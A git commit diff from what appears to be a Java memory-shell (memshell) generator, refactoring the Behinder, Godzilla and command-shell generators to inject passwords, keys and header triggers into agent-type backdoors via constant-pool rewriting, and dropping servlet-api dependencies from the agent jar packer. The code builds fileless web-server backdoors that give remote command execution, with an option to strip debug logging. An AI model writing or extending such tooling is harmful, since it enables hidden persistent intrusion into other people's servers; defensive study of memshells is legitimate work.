feat: use ldc and reflection (#26)

1. remove servlet-api dependency
2. remove class reference (resolved #26), but it doesn't work for java4

generator/src/main/java/com/reajason/javaweb/memshell/generator/AgentGenerator.java

@@ -1,42 +0,0 @@
-package com.reajason.javaweb.memshell.generator;
-
-import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
-import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
-import com.reajason.javaweb.memshell.config.InjectorConfig;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import net.bytebuddy.ByteBuddy;
-import net.bytebuddy.dynamic.DynamicType;
-import net.bytebuddy.implementation.FixedValue;
-
-import static net.bytebuddy.matcher.ElementMatchers.named;
-
-/**
- * @author ReaJason
- * @since 2024/12/28
- */
-public class AgentGenerator {
-
-    private final ShellConfig config;
-    private final InjectorConfig injectorConfig;
-
-    public AgentGenerator(ShellConfig config, InjectorConfig injectorConfig) {
-        this.config = config;
-        this.injectorConfig = injectorConfig;
-    }
-
-    public byte[] getBytes() {
-        DynamicType.Builder<?> builder = new ByteBuddy()
-                .redefine(injectorConfig.getInjectorClass())
-                .name(injectorConfig.getInjectorClassName())
-                .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
-                .method(named("getAdvisorName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
-
-        if (config.isDebugOff()) {
-            builder = LogRemoveMethodVisitor.extend(builder);
-        }
-
-        try (DynamicType.Unloaded<?> make = builder.make()) {
-            return make.getBytes();
-        }
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java

@@ -1,15 +1,19 @@
 package com.reajason.javaweb.memshell.generator;
 
+import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
 import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
 import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
 import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
 import com.reajason.javaweb.memshell.config.BehinderConfig;
+import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import net.bytebuddy.ByteBuddy;
 import net.bytebuddy.dynamic.DynamicType;
 import org.apache.commons.codec.digest.DigestUtils;
 import org.apache.commons.lang3.StringUtils;
 
+import java.util.Map;
+
 import static net.bytebuddy.matcher.ElementMatchers.named;
 
 /**
@@ -37,10 +41,7 @@ public class BehinderGenerator {
         DynamicType.Builder<?> builder = new ByteBuddy()
                 .redefine(behinderConfig.getShellClass())
                 .name(behinderConfig.getShellClassName())
-                .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
-                .field(named("pass")).value(md5Key)
-                .field(named("headerName")).value(behinderConfig.getHeaderName())
-                .field(named("headerValue")).value(behinderConfig.getHeaderValue());
+                .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
 
         if (shellConfig.isJakarta()) {
             builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
@@ -49,6 +50,20 @@ public class BehinderGenerator {
         if (shellConfig.isDebugOff()) {
             builder = LogRemoveMethodVisitor.extend(builder);
         }
+
+        if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
+            builder = builder.visit(
+                    new LdcReAssignVisitorWrapper(Map.of(
+                            "pass", md5Key,
+                            "headerName", behinderConfig.getHeaderName(),
+                            "headerValue", behinderConfig.getHeaderValue()
+                    ))
+            );
+        } else {
+            builder = builder.field(named("pass")).value(md5Key)
+                    .field(named("headerName")).value(behinderConfig.getHeaderName())
+                    .field(named("headerValue")).value(behinderConfig.getHeaderValue());
+        }
         return builder;
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java

@@ -1,13 +1,17 @@
 package com.reajason.javaweb.memshell.generator;
 
+import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
 import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
 import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
 import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
 import com.reajason.javaweb.memshell.config.CommandConfig;
+import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import net.bytebuddy.ByteBuddy;
 import net.bytebuddy.dynamic.DynamicType;
 
+import java.util.Map;
+
 import static net.bytebuddy.matcher.ElementMatchers.named;
 
 /**
@@ -24,8 +28,7 @@ public class CommandGenerator {
         DynamicType.Builder<?> builder = new ByteBuddy()
                 .redefine(shellConfig.getShellClass())
                 .name(shellConfig.getShellClassName())
-                .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
-                .field(named("paramName")).value(shellConfig.getParamName());
+                .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()));
 
         if (config.isJakarta()) {
             builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
@@ -35,6 +38,12 @@ public class CommandGenerator {
             builder = LogRemoveMethodVisitor.extend(builder);
         }
 
+        if (config.getShellType().startsWith(Constants.AGENT)) {
+            builder = builder.visit(new LdcReAssignVisitorWrapper(Map.of("paramName", shellConfig.getParamName())));
+        } else {
+            builder = builder.field(named("paramName")).value(shellConfig.getParamName());
+        }
+
         try (DynamicType.Unloaded<?> make = builder.make()) {
             return make.getBytes();
         }

generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java

@@ -1,8 +1,10 @@
 package com.reajason.javaweb.memshell.generator;
 
+import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
 import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
 import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
 import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.GodzillaConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import net.bytebuddy.ByteBuddy;
@@ -10,6 +12,8 @@ import net.bytebuddy.dynamic.DynamicType;
 import org.apache.commons.codec.digest.DigestUtils;
 import org.apache.commons.lang3.StringUtils;
 
+import java.util.Map;
+
 import static net.bytebuddy.matcher.ElementMatchers.named;
 
 /**
@@ -38,12 +42,7 @@ public class GodzillaGenerator {
         DynamicType.Builder<?> builder = new ByteBuddy()
                 .redefine(godzillaConfig.getShellClass())
                 .name(godzillaConfig.getShellClassName())
-                .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
-                .field(named("pass")).value(godzillaConfig.getPass())
-                .field(named("key")).value(md5Key)
-                .field(named("md5")).value(md5)
-                .field(named("headerName")).value(godzillaConfig.getHeaderName())
-                .field(named("headerValue")).value(godzillaConfig.getHeaderValue());
+                .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
 
         if (shellConfig.isJakarta()) {
             builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
@@ -52,6 +51,24 @@ public class GodzillaGenerator {
         if (shellConfig.isDebugOff()) {
             builder = LogRemoveMethodVisitor.extend(builder);
         }
+
+        if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
+            builder = builder.visit(
+                    new LdcReAssignVisitorWrapper(Map.of(
+                            "pass", godzillaConfig.getPass(),
+                            "key", md5Key,
+                            "md5", md5,
+                            "headerName", godzillaConfig.getHeaderName(),
+                            "headerValue", godzillaConfig.getHeaderValue()
+                    ))
+            );
+        } else {
+            builder = builder.field(named("pass")).value(godzillaConfig.getPass())
+                    .field(named("key")).value(md5Key)
+                    .field(named("md5")).value(md5)
+                    .field(named("headerName")).value(godzillaConfig.getHeaderName())
+                    .field(named("headerValue")).value(godzillaConfig.getHeaderValue());
+        }
         return builder;
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/packer/AgentJarPacker.java

@@ -44,12 +44,6 @@ public class AgentJarPacker implements JarPacker {
         try (JarOutputStream targetJar = new JarOutputStream(new FileOutputStream(jarPath.toFile()), manifest)) {
             addDependency(targetJar, ByteBuddy.class);
 
-            if (generateResult.getShellConfig().isJakarta()) {
-                addDependency(targetJar, jakarta.servlet.Servlet.class);
-            } else {
-                addDependency(targetJar, javax.servlet.Servlet.class);
-            }
-
             targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class"));
             targetJar.write(generateResult.getInjectorBytes());
             targetJar.closeEntry();